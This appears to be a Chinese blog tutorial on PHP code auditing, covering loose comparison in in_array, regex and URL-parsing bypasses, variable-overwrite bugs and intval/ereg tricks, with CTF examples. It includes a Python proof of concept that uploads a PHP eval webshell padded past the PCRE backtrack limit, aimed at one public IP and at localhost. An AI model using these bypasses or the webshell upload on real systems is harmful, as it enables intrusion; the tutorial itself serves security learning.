PHP代码审计学习(1)
全局变量与超全局变量
$GLOBALS
$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问,$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
$SERVER
$SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
$ _ REQUEST
PHP $ _ REQUEST 用于收集HTML表单提交的数据。
$ _ POST
PHP $ _ POST 被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="post"。
$ _ GET
PHP $ _ GET 同样被广泛应用于收集表单数据,在HTML form标签的指定该属性:"method="get"。
$ _ FILES
$ _ ENV
$ _ COOKIE
$ _ SESSION 等。
in_array():
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
此时注意这个函数之间存在着强弱比较:当我们设置第三个参数为False的时候我们就存在了弱比较。
<?php
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));
echo '<br>';
//true
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 6)));
echo '<br>';
//false
echo "in_array('kaibro', array(0, 1, 2))----->";
var_dump(in_array('kaibro', array(0,1, 2)));
echo '<br>';
//true
echo "in_array('kaibro', array(1, 2))----->";
var_dump(in_array('kaibro', array(1, 2)));
echo '<br>';
//flase
echo "in_array('ddd', array('kai'=>0))------>";
var_dump(in_array('ddd', array('kai'=>0)));
echo "<br>";
//true
echo "in_array('ddd', array('kai'=>1))----->";
var_dump(in_array('ddd', array('kai'=>1)));
echo "<br>";
//false
echo"three magic options";
echo '<br>';
echo "in_array(array(), array('kai'=>false))---->";
var_dump(in_array(array(), array('kai'=>false)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>null))--->";
var_dump(in_array(array(), array('kai'=>null)));
echo '<br>';
//true
echo "in_array(array(), array('kai'=>0))---->";
var_dump(in_array(array(), array('kai'=>0)));
echo '<br>';
//false
输出:
in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->bool(true)
in_array('5 or 1=1', array(1, 2, 3, 4, 6))----->bool(false)
in_array('kaibro', array(0, 1, 2))----->bool(true)
in_array('kaibro', array(1, 2))----->bool(false)
in_array('ddd', array('kai'=>0))------>bool(true)
in_array('ddd', array('kai'=>1))----->bool(false)
three magic options
in_array(array(), array('kai'=>false))---->bool(true)
in_array(array(), array('kai'=>null))--->bool(true)
in_array(array(), array('kai'=>0))---->bool(false)
filtervar ,pregmatch,parse_url
filter_var
使用特定的过滤器过滤一个变量:mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
当我们使用FILTERVALIDATEURL 过滤器来判断是否是一个合法的url。可以用javascript伪协议进行绕过,例如:
<?php
if(filter_var($_GET['url'],FILTER_VALIDATE_URL))
{
var_dump($_GET['url']);
}
?>
parse_url
解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
此功能的解析是这样的,他会将//之后的认为是主机名,/后面的认为是路径,当我们传入///之后它会返回一个false,这种能让我们绕过一些过滤。
<?php
var_dump(parse_url("//a/b")); #array(2) { ["host"]=> string(1) "a" ["path"]=> string(2) "/b" }
echo "<br>";
var_dump(parse_url('..//a/b/c:80')); #array(3) { ["host"]=> string(2) ".." ["port"]=> int(80) ["path"]=> string(10) "//a/b/c:80" }
echo "<br>";
var_dump(parse_url('///a.php?id=1')); #bool(false)
echo "<br>";
另外在php<5.3之前,他对于端口的解析是这样的,当端口号大于65535:
var_dump(parse_url('http://kaibro.tw:87878'));#array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }会加上,就跟chr()函数会对于255以上的自动重新开始计算转换字母。
但当php>5.3:var_dump(parse_url('http://kaibro.tw:87878'));#false
preg_match
搜索subject与pattern给定的正则表达式的一个匹配,preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
严格匹配时候,可以用%0a绕过测试代码:
<?php
$tests = $_GET['hhh'];
if(preg_match('/^test$/', $tests) && $_GET['hhh']!="test")
{
echo 123;
}
?>
我们传入:127.0.0.1/hhh=test%0A即可。
如果我们传递了数组进去,
<?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test))
{
echo 'nonono';
die();
}
echo 'welcome';
file_put_contents('output', $test);
?>
http://127.0.0.1/1.php?txt[]=<>
在网站根目录下成功写入,虽然有警报但还是执行成功了。
Warning: preg_match() expects parameter 2 to be string, array given in D:\phpstudy_pro\WWW\1.php on line 3
welcome
正则引擎回溯导致正则匹配失效:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(!is_php($input)) {
// fwrite($f, $input); ...
}
常见的正则引擎,被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
PHP使用的PCRE库就是NFA。
参考文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
php为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack _ limit,他的值为1000000即一百万,超过这个数值preg _ match就会返回false。
利用代码:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
ctf:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
poc:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)
利用的就是此特性。
escapeshellarg,escapeshellcmd
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号
定义 :string escapeshellarg ( string $arg )
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)
变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
全局变量覆盖:
当registerglobals=Off时,我们使用$GET['id']来接收传递过来的值。
当registerglobals=On的时候,下一个程序可以直接使用$id来接受值,也可以用$GET['id']来接受传递过来的值。
$$
当我们使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
原理:
<?php
$a='aaa';
$aaa='xxx';
echo $$a;
?>
$$a=$($a)=$(aaa)='xxx'这就是具体的转换形式。
extract()函数导致的变量覆盖问题
用法:extract(array,extract_rules,prefix)
原理:当extractrules为空,或者是 EXTROVERWRITE,那么遇到冲突就会覆盖原变量。
<?php
$a = 1;
print_r("extract()执行之前:\$a = ".$a."<br />");
$b = array('a'=>'2');
extract($b);
print_r("extract()执行之后:\$a = ".$a."<br />");
?>
输出 :
extract()执行之前:$a = 1
extract()执行之后:$a = 2
代码二:
<?php
$id=1;
extract($_GET);
echo $id;
?>
http://127.0.0.1/1.php?id=444输出:444
ctf:
<?php
$flag = ‘xxx’;
extract($_GET);
if (isset($gift)) {
$content = trim(file_get_contents($flag));
if ($gift == $content) {
echo ‘hctf{…}’;
} else {
echo ‘Oh..’;
}
}
?>
extract($_GET),无第二个参数,使用变量覆盖将gift和flag都重新覆盖,我们传递两个空即可,payload:?flag=&gift=
extract() 函数第二个参数修改为 extr_skip时,变量覆盖就不会发生了。
parse_str()变量覆盖
parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量,他会将字符串解析成多个变量。
<?php
$a='eee';
parse_str("a=fff");
print_r($a);
?>
输出:fff
题目:
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
?>
关于if的判断条件很简单可以算一下QNKCDZO的md5值我们可以利用科学技术法,而$a[0]就需要我们利用parse_str的变量覆盖漏洞了。
importrequestvariables()
将 GET/POST/Cookie 变量导入到全局作用域中。GP表示的是GET和POST。
<?php
$a = 1;
import_request_variables('GP');
print_r($a);
?>
http://127.0.0.1/1.php?a=8输出为8,发生变量覆盖,注意版本需要小于5.4.
preg_replace
由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,可能导致我们正则匹配失效,且在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。
intval
intval()在处理16进制时存在问题,当16进制+1时php会强制转换,然后再Intval后是正常的。
<?php
$password = $_GET['password'];
print($password + 1);
echo "<br>";
print(intval($password));
echo "<br>";
print(intval($password + 1));
?>
intval函数溢出绕过:
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647,我们完全可以利用这个特性,因为只要大于这个数字返回的结果都是2147483647,那么我们就可以绕过一些waf了。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
<?php
$info =$_GET['number'];
if (!is_numeric($info)){
echo $info;
}
?>
url:http://127.0.0.1/1.php?number=111%00
output:111\0
ereg
ereg函数在匹配的时候遇到%00截断就会停止比较,isnumeric同理也可以,而且isnumeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。。
ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密码必须仅为0-9A-Za-z 并且还必须包含‘--’
这里利用ereg比较数组和字符串会返回-1 而strpos会返回null 构造?password[]=或者利用ereg的%00截断
构造输入为 password=1%00-- 即可绕过
0x十六进制
转换十六进制有时候能帮助我们逃过一些过滤,例如套避数字过滤,3735929054->0xdeadc0de。
PHP代码审计学习(1)的更多相关文章
- bluecms v1.6 sp1 代码审计学习
前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...
- PHP代码审计学习
原文:http://paper.tuisec.win/detail/1fa2683bd1ca79c 作者:June 这是一次分享准备.自己还没有总结这个的能力,这次就当个搬运工好了~~ 0x01 工具 ...
- 代码审计学习01-in_array() 函数缺陷
一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看 ...
- PHPCMSV9版本代码审计学习
学习代码审计,自己简单记录一下.如有错误望师傅斧正. PHPCMS预备知识 PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块 ...
- 2020/1/27代码审计学习之SQL注入漏洞
PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...
- PHP代码审计学习-PHP-Audit-Labs-day1
0x01 前言 偶然间看到红日团队的PHP代码审计教程,想起之前立的flag,随决定赶紧搞起来.要不以后怎么跟00后竞争呢.虽然现在PHP代码审计不吃香,但是php代码好歹能看懂,CTF中也经常遇到, ...
- PHP代码审计学习-php安全基础
PHP代码审计-php安全基础 php.ini选项 register_globals php>=4.2.0,php.ini 的 register_globals 选项的默认值预设为 Off,当 ...
- ASP代码审计学习笔记 -5.文件下载漏洞
文件下载漏洞 漏洞代码: <% function download(f,n) on error resume next Set S=CreateObject("Adodb.Stream ...
- ASP代码审计学习笔记 -4.命令执行漏洞
命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...
- ASP代码审计学习笔记 -3.上传漏洞
1.ASP上传过程抓包分析: POST /4.asp HTTP/1.1 Host: 192.168.1.102 User-Agent: Mozilla/5.0 (Windows NT 10.0; WO ...
随机推荐
- 计算机网络-网络层(2)NAT协议
网络地址转换(NAT,Network Address Translation)协议: 本地网络内通信的IP数据报的源与目的IP地址均在子网10.0.0.0/24内:所有离开本地网络去往Internet ...
- 第3篇 Scrum 冲刺博客(专✌️团队)
目录 一.站立式会议 1.1 会议照片 1.2 成员完成情况 二.项目燃尽图 三.成员代码/文档签入记录 3.1 代码签入 3.2 Issue链接 3.3 CodeReview代码规范文档 四.最新项 ...
- Java算法——回溯法
回溯法一种选优搜索法,又称试探法.利用试探性的方法,在包含问题所有解的解空间树中,将可能的结果搜索一遍,从而获得满足条件的解.搜索过程采用深度遍历策略,并随时判定结点是否满足条件要求,满足要求就继续向 ...
- Java多线程_ReentrantLock
ReentrantLock是重入锁,它与synchronized很像,它是synchronized的加强版,因为它具有一些synchronized没有的功能.下面我们看看两者的区别:synchroni ...
- RCON 服务器命令协议
介绍 编辑 RCON是一种允许服务器管理员远程执行Minecraft命令的协议.在1.9pre4中引入,它基本上是Minecraft的Source RCON协议的实现. 格式 编辑 响应将使用您发送的 ...
- 从String类型发散想到的一些东西
值类型 引用类型 值类型表示存储在栈上的类型,包括简单类型(int.long.double.short).枚举.struct定义: 引用类型表示存在堆上的类型,包括数组.接口.委托.class定义: ...
- 单表千万行数据库 LIKE 搜索优化手记
我们经常在数据库中使用 LIKE 操作符来完成对数据的模糊搜索,LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式. 如果需要查找客户表中所有姓氏是“张”的数据,可以使用下面的 SQL 语句 ...
- for...in、for...of和forEach
let arr = [1,2,3,4,5,6]; arr.name="AAA"; for(var i in arr){ //遍历的实际是对象的属性名臣,每一个元素的索引被视为一个属 ...
- 深圳做假证h
深圳做假证[电/薇:187ヘ1184ヘ0909同号]办各类证件-办毕业证-办离婚证,办学位证书,办硕士毕业证,办理文凭学历,办资格证,办房产证不. 这是一个简单的取最大值程序,可以用于处理 i32 数 ...
- js扩展运算符(spread)三个点(...)
常见用法: 1.该运算符主要用于函数调用. function push(array, ...items) { array.push(...items); } function add(x, y) { ...